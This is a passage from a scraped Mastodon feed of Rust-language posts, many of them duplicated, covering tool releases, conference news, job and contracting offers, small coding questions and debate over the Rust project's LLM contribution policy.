            port: u16,
            #[serde(rename = "#args")]
            all: Vec,
        }
ALT text

#[derive(Deserialize, Debug, PartialEq)] #[serde(rename_all = "kebab-case")] enum HostType { IpAddr, Hostname } #[derive(Deserialize, Debug, PartialEq)] struct Server { #[serde(rename = "#type")] server_type: String, #[serde(rename = "#0#type")] host_type: HostType, #[serde(rename = "#0")] host: String, #[serde(rename = "#@port#type")] port_type: String, #[serde(rename = "#@port")] port: u16, #[serde(rename = "#args")] all: Vec, }

let kdl = "(linux-debian-arm64)server (hostname)localhost port=(number)8080 remote";
        let config: Config = from_str(kdl).unwrap();
        assert_eq!(
            config,
            Config {
                server: Server {
                    server_type: "linux-debian-arm64".into(),
                    host_type: HostType::Hostname,
                    host: "localhost".into(),
                    port_type: "number".into(),
                    port: 8080,
                    all: Vec::from(["localhost".into(), "remote".into()])
                },
            }
        );
ALT text

let kdl = "(linux-debian-arm64)server (hostname)localhost port=(number)8080 remote"; let config: Config = from_str(kdl).unwrap(); assert_eq!( config, Config { server: Server { server_type: "linux-debian-arm64".into(), host_type: HostType::Hostname, host: "localhost".into(), port_type: "number".into(), port: 8080, all: Vec::from(["localhost".into(), "remote".into()]) }, } );

@lobsters@mastodon.social
@mre@mastodon.social · Reply to Matthias Endler

Still looking for the perfect name, but my self-hosted Rust search is located here for now: search.corrode.dev/

I‘d be thankful for any feedback, positive or negative. If you run into any bugs, feel free to post screenshots here and I’ll take a look!

And if you have any feature ideas, that would also be great.

search.corrode.dev

Rust Search

Find the best content on Rust, curated by the community; a search engine for Rustaceans.

@predrag@hachyderm.io · Reply to Predrag Gruevski

What we'll get out of it:
- support for type-checking lints (#1 top user request)
- fix the remaining classes of false-positives (#2 top user request)
- Rust itself can use cargo-semver-checks to prevent accidental breakage in the standard library (!!)
- a "SemVer crater" ability:
predr.ag/blog/cargo-semver-che

predr.ag

Exponential growth continued — cargo-semver-checks 2025 Year in Review

More than twice as many lints as last year, and that's just the start!

@predrag@hachyderm.io · Reply to Predrag Gruevski

What we'll get out of it:
- support for type-checking lints (#1 top user request)
- fix the remaining classes of false-positives (#2 top user request)
- Rust itself can use cargo-semver-checks to prevent accidental breakage in the standard library (!!)
- a "SemVer crater" ability:
predr.ag/blog/cargo-semver-che

predr.ag

Exponential growth continued — cargo-semver-checks 2025 Year in Review

More than twice as many lints as last year, and that's just the start!

@predrag@hachyderm.io · Reply to Predrag Gruevski

Hard problems:
- connecting rustdoc JSON across crate boundaries
- generating rustdoc JSON in a performant, caching-friendly way
- generating "witness programs" to catch type-related breakage
- extending our static analysis to cover std too
- making all of this not take hours to run in your CI, lol

@predrag@hachyderm.io

Reflecting after the Rust All Hands: cargo-semver-checks is in a fascinating spot.

We've never simultaneously had:
- so many hard problems that must be solved at once
- so many "this is hard but we're confident it'll work" solutions in flight at once

Thrilling, but exhausting. But THRILLING 🦀

@mre@mastodon.social · Reply to Matthias Endler

Still looking for the perfect name, but my self-hosted Rust search is located here for now: search.corrode.dev/

I‘d be thankful for any feedback, positive or negative. If you run into any bugs, feel free to post screenshots here and I’ll take a look!

And if you have any feature ideas, that would also be great.

search.corrode.dev

Rust Search

Find the best content on Rust, curated by the community; a search engine for Rustaceans.

@innocentzero@social.tchncs.de

I write for work, and + at home. I will absolutely ramble about things I have no idea on :p

loves and , will work on anything and everything low level. I love OS level shit, from the desktop ux to driver stability. I will absolutely ramble about and

I occasionally dabble with functional programming, and will totally not shut up about my mmtk port.

As an aside, avid movie watcher, reader, manga enjoyer, anime enjoyer, and fanfic reader.

Here to have fun and enjoy!

@predrag@hachyderm.io

Sad that RustWeek is over, and glad I got to spend the week with so many wonderful people.

Next time you are delighted by how a Rust feature works, say thanks to all these folks who spent the week hashing out every possible edge case!

Can't wait for next year's RustWeek!

All the Rust Project devs posing for a photo at the end of the All Hands. A huge group of people!
ALT text

All the Rust Project devs posing for a photo at the end of the All Hands. A huge group of people!

@predrag@hachyderm.io

Sad that RustWeek is over, and glad I got to spend the week with so many wonderful people.

Next time you are delighted by how a Rust feature works, say thanks to all these folks who spent the week hashing out every possible edge case!

Can't wait for next year's RustWeek!

All the Rust Project devs posing for a photo at the end of the All Hands. A huge group of people!
ALT text

All the Rust Project devs posing for a photo at the end of the All Hands. A huge group of people!

@mre@mastodon.social

New live episode of Rust in Production and it's a special one! 🥁

Recorded on stage at Rust Week in Utrecht with two people shaping the future of the Linux kernel:

🐧 Greg Kroah-Hartman (@gregkh ), Linux Foundation Fellow
⚙️ Alice Ryhl, core maintainer of Tokio, Rust for Linux at Google

▶️ corrode.dev/podcast/s06e04-rus

Huge thanks to the Rust Week crew for hosting this one. You're awesome! 🦀

corrode.dev

Rust for Linux Live with Alice Ryhl and Greg Kroah-Hartman - Rust in Production Podcast | corrode Rust Consulting

<img src="https://corrode.dev/podcast/s06e04-…

@mre@mastodon.social

New live episode of Rust in Production and it's a special one! 🥁

Recorded on stage at Rust Week in Utrecht with two people shaping the future of the Linux kernel:

🐧 Greg Kroah-Hartman (@gregkh ), Linux Foundation Fellow
⚙️ Alice Ryhl, core maintainer of Tokio, Rust for Linux at Google

▶️ corrode.dev/podcast/s06e04-rus

Huge thanks to the Rust Week crew for hosting this one. You're awesome! 🦀

corrode.dev

Rust for Linux Live with Alice Ryhl and Greg Kroah-Hartman - Rust in Production Podcast | corrode Rust Consulting

<img src="https://corrode.dev/podcast/s06e04-…

@mre@mastodon.social

Yesterday I gave a workshop at Rust Week about "Refactoring Rust."

github.com/corrode/refactoring

It's a list of small exercises that each teach one pattern.

There are no right or wrong answers. The goal is to compare different solutions and discuss tradeoffs.

Maybe anyone is interested. Please reach out if you have questions. Pull requests / issues also highly appreciated.

Thanks to everyone who took part in the workshop yesterday.

github.com

GitHub - corrode/refactoring-rust: Writing Better Rust: a refactoring workshop

Writing Better Rust: a refactoring workshop. Contribute to corrode/refactoring-rust development by creating an account on GitHub.

@jorge@hachyderm.io

Addenum to my @LAS talk!

I don't think people realized that next basically fixes everything. Browsers will use their own sandboxes, steam, password managers, etc.

And a new VPN portal. All of the razorburn goes away.

All we need to do is gather a bunch of nerds.

I would like too amend my statement: "The gamer kids and the rust kids will save Linux, and the ops people will help them succeed."

@mre@mastodon.social

Yesterday I gave a workshop at Rust Week about "Refactoring Rust."

github.com/corrode/refactoring

It's a list of small exercises that each teach one pattern.

There are no right or wrong answers. The goal is to compare different solutions and discuss tradeoffs.

Maybe anyone is interested. Please reach out if you have questions. Pull requests / issues also highly appreciated.

Thanks to everyone who took part in the workshop yesterday.

github.com

GitHub - corrode/refactoring-rust: Writing Better Rust: a refactoring workshop

Writing Better Rust: a refactoring workshop. Contribute to corrode/refactoring-rust development by creating an account on GitHub.

@lobsters@mastodon.social
@kate@treehouse.systems

is it normal for a program that spawns 3 tasks using a JoinSet to completely freeze when run on a single core machine? as far as i can tell none of the tasks are actually executed, the program just stops doing anything.

if this is normal, is there any way to workaround it? the project isn't published anywhere so far, but i can provide the relevant code snippets if needed.

i only ran into this by accident, because the nixos vm test driver only assigns a single core by default and while i don't actually expect anyone to run single core machines in 2026, it would still be nix to have this working.

@lobsters@mastodon.social
@ekuber@hachyderm.io

For the love of my two chihuahuas, the reaction I'm seeing to the RFC LLM policy (tl;dr: disclose if used for anything, don't use it to generate code or docs) is peak Twitter-style shit storm.
Sloperators don't like that it doesn't let them push crap out, people who dislike LLMs hate that it doesn't have a more forceful stance of replacing the whole text with "no LLM allowed". And some members of both camps have decided to heap abuse on people earnestly trying to herd cats in a thankless RFC process that is draining at the best of times.

@gytisrepecka@social.gyt.is

Oh look, @rust bans certain opinions about LLMs :ablobcatpopcorn:

No comment on this PR may mention the following topics:

  • Long-term social or economic impact of LLMs
  • The environmental impact of LLMs
  • Anything to do with the copyright status of LLM output. We have gotten initial confirmation from US lawyers that LLM output likely doesn't cause issues under US law. We still need to confirm this with EU lawyers and in other parts of the world.
  • Moral judgements about people who use LLMs

@Athena already got banned :blobCat_nom_wire:

I know it means little to nothing, but I applaud people who dares to say "Fuck you!" to LLM grifters :ablobcathappypaws:

#developerlife #rust #rustlang #aislop #llm #llmshit

chaosfem.tw

Athena (@Athena@chaosfem.tw)

tell me you’re a coward without telling me > No comment on this PR may mention the following topics: > Long-term social or economic impact of LLMs > The environmental impact of LLMs > Anything to do with the copyright status of LLM output Moral judgements about people who use LLMs > We have asked the moderation team to help us enforce these rules. https://github.com/rust-lang/rust-forge/pull/1040

@ekuber@hachyderm.io

For the love of my two chihuahuas, the reaction I'm seeing to the RFC LLM policy (tl;dr: disclose if used for anything, don't use it to generate code or docs) is peak Twitter-style shit storm.
Sloperators don't like that it doesn't let them push crap out, people who dislike LLMs hate that it doesn't have a more forceful stance of replacing the whole text with "no LLM allowed". And some members of both camps have decided to heap abuse on people earnestly trying to herd cats in a thankless RFC process that is draining at the best of times.

@tiesselune@fedi.tiesselune.com

I see people taking the part of the Rust RFC thread about LLM use saying "no discussing about envoronment, social consequences, deskilling, copyright, etc" out of context and criticizing the #Rust team for that, like "there's no place for ethics in Rust" when if you read the fucking thing they say it's because they discussed all of that over on Zulip with more than 3000 messages and they consider everything has already been said and the decision already been done, so the Github RFC should stay focused on the writing itself and they are obviously tired.

Decision being, in a nutshell : no LLM ouptut in rust core but you may use it to review or make suggestions because they can't detect that anyway, which doesn't feel like they "don't care".

If you can stop people from using LLMs by the sheer force of your will, please go ahead. If you can't, don't expect it from OSS maintainers and don't drag them in the mud because you consider they're the ones responsible for a shitty world. They're not.

@ekuber@hachyderm.io

For the love of my two chihuahuas, the reaction I'm seeing to the RFC LLM policy (tl;dr: disclose if used for anything, don't use it to generate code or docs) is peak Twitter-style shit storm.
Sloperators don't like that it doesn't let them push crap out, people who dislike LLMs hate that it doesn't have a more forceful stance of replacing the whole text with "no LLM allowed". And some members of both camps have decided to heap abuse on people earnestly trying to herd cats in a thankless RFC process that is draining at the best of times.

@heisedeveloper@social.heise.de
@legoktm@wikis.world

🚨 the @securedrop team at Freedom of Press Foundation is hiring 🚨

We're looking for a Cryptography Engineer to help us build out the new end-to-end encrypted version of

✔️ fully remote (must be US based)
✔️ all FOSS
✔️ help secure whistleblowers and investigative journalists all around the world

More details in the job posting, happy to answer any questions

freedomofthepress.na.teamtailo

:boost_ok:

freedomofthepress.na.teamtailor.com

Cryptography Engineer - Freedom of the Press Foundation (FPF)

The Cryptography Engineer will design and specify extensions to the SecureDrop end-to-end encryption protocol for new security properties or features (e.g., implementing abuse-resistance features).

@dystroy@mastodon.dystroy.org

Here's a strange situation:

thousands of developers use , , , or -regex every single day — tools I wrote, maintain, and improve for free.

Their companies, though? None of them want to hire their author.

If you use my tools at work and your company does , I'd really appreciate a hand landing a job or freelance mission. A boost goes a long way. 🙏🦀

dystroy.org

dystroy.org

dystroy

dystroy - Rust consulting

@lobsters@mastodon.social
@lobsters@mastodon.social
@dystroy@mastodon.dystroy.org

Here's a strange situation:

thousands of developers use , , , or -regex every single day — tools I wrote, maintain, and improve for free.

Their companies, though? None of them want to hire their author.

If you use my tools at work and your company does , I'd really appreciate a hand landing a job or freelance mission. A boost goes a long way. 🙏🦀

dystroy.org

dystroy.org

dystroy

dystroy - Rust consulting

@dystroy@mastodon.dystroy.org

Here's a strange situation:

thousands of developers use , , , or -regex every single day — tools I wrote, maintain, and improve for free.

Their companies, though? None of them want to hire their author.

If you use my tools at work and your company does , I'd really appreciate a hand landing a job or freelance mission. A boost goes a long way. 🙏🦀

dystroy.org

dystroy.org

dystroy

dystroy - Rust consulting

@dystroy@mastodon.dystroy.org

Here's a strange situation:

thousands of developers use , , , or -regex every single day — tools I wrote, maintain, and improve for free.

Their companies, though? None of them want to hire their author.

If you use my tools at work and your company does , I'd really appreciate a hand landing a job or freelance mission. A boost goes a long way. 🙏🦀

dystroy.org

dystroy.org

dystroy

dystroy - Rust consulting

@dystroy@mastodon.dystroy.org

Here's a strange situation:

thousands of developers use , , , or -regex every single day — tools I wrote, maintain, and improve for free.

Their companies, though? None of them want to hire their author.

If you use my tools at work and your company does , I'd really appreciate a hand landing a job or freelance mission. A boost goes a long way. 🙏🦀

dystroy.org

dystroy.org

dystroy

dystroy - Rust consulting

@dystroy@mastodon.dystroy.org

Here's a strange situation:

thousands of developers use , , , or -regex every single day — tools I wrote, maintain, and improve for free.

Their companies, though? None of them want to hire their author.

If you use my tools at work and your company does , I'd really appreciate a hand landing a job or freelance mission. A boost goes a long way. 🙏🦀

dystroy.org

dystroy.org

dystroy

dystroy - Rust consulting

@dystroy@mastodon.dystroy.org

Here's a strange situation:

thousands of developers use , , , or -regex every single day — tools I wrote, maintain, and improve for free.

Their companies, though? None of them want to hire their author.

If you use my tools at work and your company does , I'd really appreciate a hand landing a job or freelance mission. A boost goes a long way. 🙏🦀

dystroy.org

dystroy.org

dystroy

dystroy - Rust consulting

@dystroy@mastodon.dystroy.org

Here's a strange situation:

thousands of developers use , , , or -regex every single day — tools I wrote, maintain, and improve for free.

Their companies, though? None of them want to hire their author.

If you use my tools at work and your company does , I'd really appreciate a hand landing a job or freelance mission. A boost goes a long way. 🙏🦀

dystroy.org

dystroy.org

dystroy

dystroy - Rust consulting

@dystroy@mastodon.dystroy.org

Here's a strange situation:

thousands of developers use , , , or -regex every single day — tools I wrote, maintain, and improve for free.

Their companies, though? None of them want to hire their author.

If you use my tools at work and your company does , I'd really appreciate a hand landing a job or freelance mission. A boost goes a long way. 🙏🦀

dystroy.org

dystroy.org

dystroy

dystroy - Rust consulting

@legoktm@wikis.world

🚨 the @securedrop team at Freedom of Press Foundation is hiring 🚨

We're looking for a Cryptography Engineer to help us build out the new end-to-end encrypted version of

✔️ fully remote (must be US based)
✔️ all FOSS
✔️ help secure whistleblowers and investigative journalists all around the world

More details in the job posting, happy to answer any questions

freedomofthepress.na.teamtailo

:boost_ok:

freedomofthepress.na.teamtailor.com

Cryptography Engineer - Freedom of the Press Foundation (FPF)

The Cryptography Engineer will design and specify extensions to the SecureDrop end-to-end encryption protocol for new security properties or features (e.g., implementing abuse-resistance features).

@legoktm@wikis.world

🚨 the @securedrop team at Freedom of Press Foundation is hiring 🚨

We're looking for a Cryptography Engineer to help us build out the new end-to-end encrypted version of

✔️ fully remote (must be US based)
✔️ all FOSS
✔️ help secure whistleblowers and investigative journalists all around the world

More details in the job posting, happy to answer any questions

freedomofthepress.na.teamtailo

:boost_ok:

freedomofthepress.na.teamtailor.com

Cryptography Engineer - Freedom of the Press Foundation (FPF)

The Cryptography Engineer will design and specify extensions to the SecureDrop end-to-end encryption protocol for new security properties or features (e.g., implementing abuse-resistance features).

@lobsters@mastodon.social
@abnv@fantastic.earth

Me starting to learn in 2023:

HEY COMPILER, if you know where to add the missing semicolons, why don't you add them yourself‽

@lobsters@mastodon.social
@lobsters@mastodon.social
@haskell@fosstodon.org
@haskell@fosstodon.org
@lobsters@mastodon.social
@lobsters@mastodon.social
@killercup@mastodon.social

Spent some time writing about the latest crate I’ve been working on: seqair, an alternative to (a subset of) htslib with some neat APIs and memory patterns!
If you work in the field: expect a crates.io release soon! If you like software architecture rambles, hope you enjoy the post!
deterministic.space/seqair.html

deterministic.space

Seqair, my Rust-native take on htslib

This post introduces seqair , a new Rust library for bioinformatics formats I’ve been working on. We’ll look in detail at one of my main design choices here, a columnar store for iterating BAM data, …

@jhpratt@mastodon.social

The crates I maintain on crates.io don't have 2.8 billion downloads for nothing. My work is high quality, as anyone who has worked with me will attest to.

Unsure what I can do? I've spent some time optimizing the `time` crate. From knocking 10% off of hot paths to 10x speedups in edge cases, the gains are unquestionably real and impactful.

Interested? Send me a message here or send an email to what's on my profile: github.com/jhpratt

github.com

jhpratt - Overview

Contributor to Rust's compiler and standard library. Maintainer of Rust crates with over 2.8 billion downloads. Third degree black belt 🥋 - jhpratt

@jhpratt@mastodon.social

Starting in June, I'll be available for contracting work again! While I prefer Rust work and that is very much my expertise, I have knowledge of plenty of other languages as well.

Whether it is assisting in integrating Rust into your existing workflow, getting CI to be "just right", or designing a new system from the ground up, reach out to me! I have availability and know what I'm doing.

@killercup@mastodon.social

Spent some time writing about the latest crate I’ve been working on: seqair, an alternative to (a subset of) htslib with some neat APIs and memory patterns!
If you work in the field: expect a crates.io release soon! If you like software architecture rambles, hope you enjoy the post!
deterministic.space/seqair.html

deterministic.space

Seqair, my Rust-native take on htslib

This post introduces seqair , a new Rust library for bioinformatics formats I’ve been working on. We’ll look in detail at one of my main design choices here, a columnar store for iterating BAM data, …

@jhpratt@mastodon.social

The crates I maintain on crates.io don't have 2.8 billion downloads for nothing. My work is high quality, as anyone who has worked with me will attest to.

Unsure what I can do? I've spent some time optimizing the `time` crate. From knocking 10% off of hot paths to 10x speedups in edge cases, the gains are unquestionably real and impactful.

Interested? Send me a message here or send an email to what's on my profile: github.com/jhpratt

github.com

jhpratt - Overview

Contributor to Rust's compiler and standard library. Maintainer of Rust crates with over 2.8 billion downloads. Third degree black belt 🥋 - jhpratt

@jhpratt@mastodon.social

Starting in June, I'll be available for contracting work again! While I prefer Rust work and that is very much my expertise, I have knowledge of plenty of other languages as well.

Whether it is assisting in integrating Rust into your existing workflow, getting CI to be "just right", or designing a new system from the ground up, reach out to me! I have availability and know what I'm doing.

@killercup.de@bsky.brid.gy
@AerynOS@hachyderm.io

Rebranding, Upgrading, and Wallpapering: AerynOS’ April glow-up!

Our latest monthly blog post and ISO release has gone live! Find out more on our blog!

aerynos.com/blog/2026/04/30/re

A picture showing the new wallpaper in the latest May 26 GNOME spin of AerynOS
ALT text

A picture showing the new wallpaper in the latest May 26 GNOME spin of AerynOS

A picture showing the new wallpaper in the latest May 26 Cosmic spin of AerynOS
ALT text

A picture showing the new wallpaper in the latest May 26 Cosmic spin of AerynOS

AerynOS' new triquetra based logo using green and orange to reflect themes of nature and links to Rust, the primary programming language used for building AerynOS tooling.
ALT text

AerynOS' new triquetra based logo using green and orange to reflect themes of nature and links to Rust, the primary programming language used for building AerynOS tooling.

@lobsters@mastodon.social
@veeso_dev@hachyderm.io

Btw, I'm working on Mastic: a instance written in , running entirely on the Internet Computer as canisters.

One canister per user, Internet Identity auth, SNS-based DAO governance, no PostgreSQL/Redis/Nginx. Fully ActivityPub-compatible.

Live by the end of September.

blog.veeso.dev/blog/en/btw-i-m

blog.veeso.dev

Btw, I'm working on Mastic

A Mastodon instance built in Rust, running on Internet Computer

@Ambraven@social.mochi.academy

Is there a better way to do this ?

fn toto(foo: Option<&A>) {
let foo = if let Some(f) = foo {
f.clone()
} else {
A::new()
}
// ... use foo somehow
}

I can't use unwrap_or since inside the Option is a reference.
I guess I could not copy the A if I set a replacement just in case but it still build an unnecessary A.

Maybe the problem is using a ref in an Option in the first place? But I would like to avoid copying A or moving it if possible.

@Ambraven@social.mochi.academy

Is there a better way to do this ?

fn toto(foo: Option<&A>) {
let foo = if let Some(f) = foo {
f.clone()
} else {
A::new()
}
// ... use foo somehow
}

I can't use unwrap_or since inside the Option is a reference.
I guess I could not copy the A if I set a replacement just in case but it still build an unnecessary A.

Maybe the problem is using a ref in an Option in the first place? But I would like to avoid copying A or moving it if possible.

@YaLTeR@mastodon.online · Reply to Ivan Molodetskikh

After five months of (on and off) development, I'm glad to announce niri v26.04! It comes packed with features:

- window blur, of course, in all its variations
- mouse cursor in window screencasts
- screencast IPC
- optional includes
- IME users can finally rename files in nautilus
- Eee PC users can finally take screenshots

Enjoy the release notes: github.com/niri-wm/niri/releas

Screenshot showing blurred background behind a DankMaterialShell pop-out, Alacritty, and Nautilus sidebar.
ALT text

Screenshot showing blurred background behind a DankMaterialShell pop-out, Alacritty, and Nautilus sidebar.

@lobsters@mastodon.social
@sableraph@genart.social
@sableraph@genart.social
@jhpratt@mastodon.social

Starting in June, I'll be available for contracting work again! While I prefer Rust work and that is very much my expertise, I have knowledge of plenty of other languages as well.

Whether it is assisting in integrating Rust into your existing workflow, getting CI to be "just right", or designing a new system from the ground up, reach out to me! I have availability and know what I'm doing.

@jhpratt@mastodon.social

Starting in June, I'll be available for contracting work again! While I prefer Rust work and that is very much my expertise, I have knowledge of plenty of other languages as well.

Whether it is assisting in integrating Rust into your existing workflow, getting CI to be "just right", or designing a new system from the ground up, reach out to me! I have availability and know what I'm doing.

@lobsters@mastodon.social
@jobsfordevelopers@mastodon.world
@YaLTeR@mastodon.online · Reply to Ivan Molodetskikh

After five months of (on and off) development, I'm glad to announce niri v26.04! It comes packed with features:

- window blur, of course, in all its variations
- mouse cursor in window screencasts
- screencast IPC
- optional includes
- IME users can finally rename files in nautilus
- Eee PC users can finally take screenshots

Enjoy the release notes: github.com/niri-wm/niri/releas

Screenshot showing blurred background behind a DankMaterialShell pop-out, Alacritty, and Nautilus sidebar.
ALT text

Screenshot showing blurred background behind a DankMaterialShell pop-out, Alacritty, and Nautilus sidebar.

@YaLTeR@mastodon.online · Reply to Ivan Molodetskikh

After five months of (on and off) development, I'm glad to announce niri v26.04! It comes packed with features:

- window blur, of course, in all its variations
- mouse cursor in window screencasts
- screencast IPC
- optional includes
- IME users can finally rename files in nautilus
- Eee PC users can finally take screenshots

Enjoy the release notes: github.com/niri-wm/niri/releas

Screenshot showing blurred background behind a DankMaterialShell pop-out, Alacritty, and Nautilus sidebar.
ALT text

Screenshot showing blurred background behind a DankMaterialShell pop-out, Alacritty, and Nautilus sidebar.

@jobsfordevelopers@mastodon.world
@nrc@hachyderm.io

Rust 1.95 released last week (blog.rust-lang.org/2026/04/16/) and has a few cool things in it. `if let` guards might look niche, but I think they solve the last reason for having nested match expressions where it doesn't feel 'right'. Not a huge deal, but nice to scratch away that itch.

`cold_path` is stable. This is a performance hint intrinsic to indicate that a code path (e.g., a branch of an `if` expression) is unlikely to be taken. These kind of hints used to be really important for performance work, but with advances in compilers and CPUs, that's not as true any more (`select_unpredictable` is the only hint which is likely to be useful in most code). Still, it's a cool thing to have around just in case you need it.

The new ranges (doc.rust-lang.org/stable/core/) weren't really announced but are interesting. It's a change in the types for representing ranges like `0..10`, nothing changes now, but at the next edition things will switch over. The new versions implement `Copy` (yay) and `IntoIterator` rather than `Iterator`. This is one of the more well-known paper cuts in Rust and it's great that there is the energy to fix it!

`push_mut` and `insert_mut`, etc., allow for chaining pushing/inserting to collections like `Vec`, which is another nice little syntactic improvement (apparently it helps with a borrowing issue too?).

doc.rust-lang.org

core::range - Rust

Experimental replacement range types

@FediVideo@social.growyourown.services

Andy Balaam makes videos about programming and software development, especially Rust but also other languages. You can follow at:

➡️ @andybalaam@video.infosec.exchange

There are already over 400 videos uploaded. If these haven't federated to your server yet, you can browse them all at video.infosec.exchange/a/andyb

You can also follow Andy's Mastodon account at @andybalaam@mastodon.social

video.infosec.exchange

Andy Balaam

Rust, Scheme Lisp, Raspberry Pi, Android, Python, C++, JavaScript, Git, even Java. So long as it's programming, I'm happy.

@FediVideo@social.growyourown.services

Andy Balaam makes videos about programming and software development, especially Rust but also other languages. You can follow at:

➡️ @andybalaam@video.infosec.exchange

There are already over 400 videos uploaded. If these haven't federated to your server yet, you can browse them all at video.infosec.exchange/a/andyb

You can also follow Andy's Mastodon account at @andybalaam@mastodon.social

video.infosec.exchange

Andy Balaam

Rust, Scheme Lisp, Raspberry Pi, Android, Python, C++, JavaScript, Git, even Java. So long as it's programming, I'm happy.

@FediVideo@social.growyourown.services

Andy Balaam makes videos about programming and software development, especially Rust but also other languages. You can follow at:

➡️ @andybalaam@video.infosec.exchange

There are already over 400 videos uploaded. If these haven't federated to your server yet, you can browse them all at video.infosec.exchange/a/andyb

You can also follow Andy's Mastodon account at @andybalaam@mastodon.social

video.infosec.exchange

Andy Balaam

Rust, Scheme Lisp, Raspberry Pi, Android, Python, C++, JavaScript, Git, even Java. So long as it's programming, I'm happy.

@lobsters@mastodon.social
@haydntrowell@mastodon.social

Just released Kotoba, a fast, fully offline Japanese–English dictionary, on Flathub.

Features: Flexible search (kanji, kana, rōmaji, or English), near instant results, detailed entries (readings, meanings, example sentences, usage notes), smart conjugation handling (maps inflected verbs/adjectives to base forms), and bookmarks.

Get it on Flathub: flathub.org/apps/net.trowell.k

@lobsters@mastodon.social
@haskell@fosstodon.org
@sanchayan@sanchayanmaity.com

The first Rust India Conference!!

#rust

Rust India Conference 2026 group photo
ALT text

Rust India Conference 2026 group photo

@argv_minus_one@mastodon.sdf.org

Welp, I wrote my first program in .

Didn't end up using any libraries specific to for this. The bare CGI protocol is pretty simple and requires very little parsing (unlike, for example, reverse proxying) because most everything is already parsed into environment variables.

And this is Rust, so it's faster than the average CGI program. Running it doesn't involve a compilation step, like it would with a traditional CGI script written in Perl.

@AnnaKukka@wien.rocks
The square image is rendered in shades of rust brown and olive green. It shows a section of a construction site with weathered materials: two shipping containers whose green paint has partially peeled away, revealing patches of white and rust brown; behind them, a green house wall; to the left of that, a ladder lying horizontally; and at the very bottom of the image, rusted metal struts. On one of the containers, “.33333333” is visible in white.
ALT text

The square image is rendered in shades of rust brown and olive green. It shows a section of a construction site with weathered materials: two shipping containers whose green paint has partially peeled away, revealing patches of white and rust brown; behind them, a green house wall; to the left of that, a ladder lying horizontally; and at the very bottom of the image, rusted metal struts. On one of the containers, “.33333333” is visible in white.

@AnnaKukka@wien.rocks
The square image is rendered in shades of rust brown and olive green. It shows a section of a construction site with weathered materials: two shipping containers whose green paint has partially peeled away, revealing patches of white and rust brown; behind them, a green house wall; to the left of that, a ladder lying horizontally; and at the very bottom of the image, rusted metal struts. On one of the containers, “.33333333” is visible in white.
ALT text

The square image is rendered in shades of rust brown and olive green. It shows a section of a construction site with weathered materials: two shipping containers whose green paint has partially peeled away, revealing patches of white and rust brown; behind them, a green house wall; to the left of that, a ladder lying horizontally; and at the very bottom of the image, rusted metal struts. On one of the containers, “.33333333” is visible in white.

@rustseoul@fosstodon.org

Some overdue updates from us 😅

- We have a website now, thanks to @seungjin! seoul.rs/
- We’ve started uploading our recorded talks from the past few months. Check out our YouTube and subscribe ;)
- To help us get the talk videos out in a timely manner, @ianthetechie (the one responsible for the delays to begin with 🙃) wrote up a rendering pipeline using a lot of Rust tooling. It’s open source here: github.com/seoul-rs/video-pipe

github.com

GitHub - seoul-rs/video-pipeline: Video processing pipeline for our recorded talks

Video processing pipeline for our recorded talks. Contribute to seoul-rs/video-pipeline development by creating an account on GitHub.

@oli@hachyderm.io

I'm officially employed again! Starting on Labor day (join a union!) I'll be a member of @rustnl's maintainers team

I'll be maintaining the Rust compiler, working on Rust tooling, and ensuring that the Rust community stays wonderful and welcoming!

@oli@hachyderm.io

I'm officially employed again! Starting on Labor day (join a union!) I'll be a member of @rustnl's maintainers team

I'll be maintaining the Rust compiler, working on Rust tooling, and ensuring that the Rust community stays wonderful and welcoming!

@oli@hachyderm.io

I'm officially employed again! Starting on Labor day (join a union!) I'll be a member of @rustnl's maintainers team

I'll be maintaining the Rust compiler, working on Rust tooling, and ensuring that the Rust community stays wonderful and welcoming!

@dabrain34@fosstodon.org

🎉 Introducing gst-pop 0.4.3 !

A new all-in-one tool by @igalia, written in — unifying gst-launch, gst-inspect, gst-play & gst-discoverer into a single daemon with remote control via WebSocket/D-Bus.

Multiple pipelines, API key auth, cross-platform (Linux/macOS/Windows).

👉 blogs.igalia.com/scerveau/intr

blogs.igalia.com

Introducing GstPrinceOfParser 0.4.3

Introducing gst-pop, the GStreamer Prince of Parser — a tool to make interaction with GStreamer easier, global, and remotely accessible.

@dabrain34@fosstodon.org

🎉 Introducing gst-pop 0.4.3 !

A new all-in-one tool by @igalia, written in — unifying gst-launch, gst-inspect, gst-play & gst-discoverer into a single daemon with remote control via WebSocket/D-Bus.

Multiple pipelines, API key auth, cross-platform (Linux/macOS/Windows).

👉 blogs.igalia.com/scerveau/intr

blogs.igalia.com

Introducing GstPrinceOfParser 0.4.3

Introducing gst-pop, the GStreamer Prince of Parser — a tool to make interaction with GStreamer easier, global, and remotely accessible.

@heiseonlineenglish@social.heise.de
@heiseonlineenglish@social.heise.de
@heiseonline@social.heise.de
@heiseonline@social.heise.de
@debacle@framapiaf.org · Reply to Delta Chat

@delta @pixelschubsi @adbenitez

I absolutely agree, that "a cross-platform mass-user focused app with a consistent UX across the platforms" is missing desperately in the / ecosystem.

There are really good clients for Jabber, but none of them fits above description.

AFAIK, both / by @snikket_im and by @ProcessOne try to close that gap.

Still, I prefer the approach of Delta building on and , instead of or . .

@meejah@mastodon.social · Reply to David Reed

@aoristdual yeah .. on the flip side, the documentation is really good in general and the compiler gives very good hints and error messages (in general).

I don't think I would have succeeded at any (or ) learning without IDE support -- these languages are what made me make LSP work correctly, finally :)

@meejah@mastodon.social

I'm not sure HOW many times I've been bitten by the thing where you have to remember to "use some::trait::Foo" in order for certain things to work.

(Yes, the compiler helps a lot, but the answer to the above is "a lot").

@meejah@mastodon.social

I'm not sure HOW many times I've been bitten by the thing where you have to remember to "use some::trait::Foo" in order for certain things to work.

(Yes, the compiler helps a lot, but the answer to the above is "a lot").

@tarajdactyl@anarres.family

:boosts_ok_gay:

attention anybody with substantial experience with Rust and networking: my team is hiring!!

one of few rust jobs I'm aware of that is not web 3.0 horseplop.

fully remote (US timezones), good culture, good trans-inclusive healthcare, good work/life balance, and a nice defensive cybersecurity mission i can get behind.

feel free to reach out for more details and the job posting.

:boosts_ok_gay:

@tarajdactyl@anarres.family

:boosts_ok_gay:

attention anybody with substantial experience with Rust and networking: my team is hiring!!

one of few rust jobs I'm aware of that is not web 3.0 horseplop.

fully remote (US timezones), good culture, good trans-inclusive healthcare, good work/life balance, and a nice defensive cybersecurity mission i can get behind.

feel free to reach out for more details and the job posting.

:boosts_ok_gay:

@tarajdactyl@anarres.family

:boosts_ok_gay:

attention anybody with substantial experience with Rust and networking: my team is hiring!!

one of few rust jobs I'm aware of that is not web 3.0 horseplop.

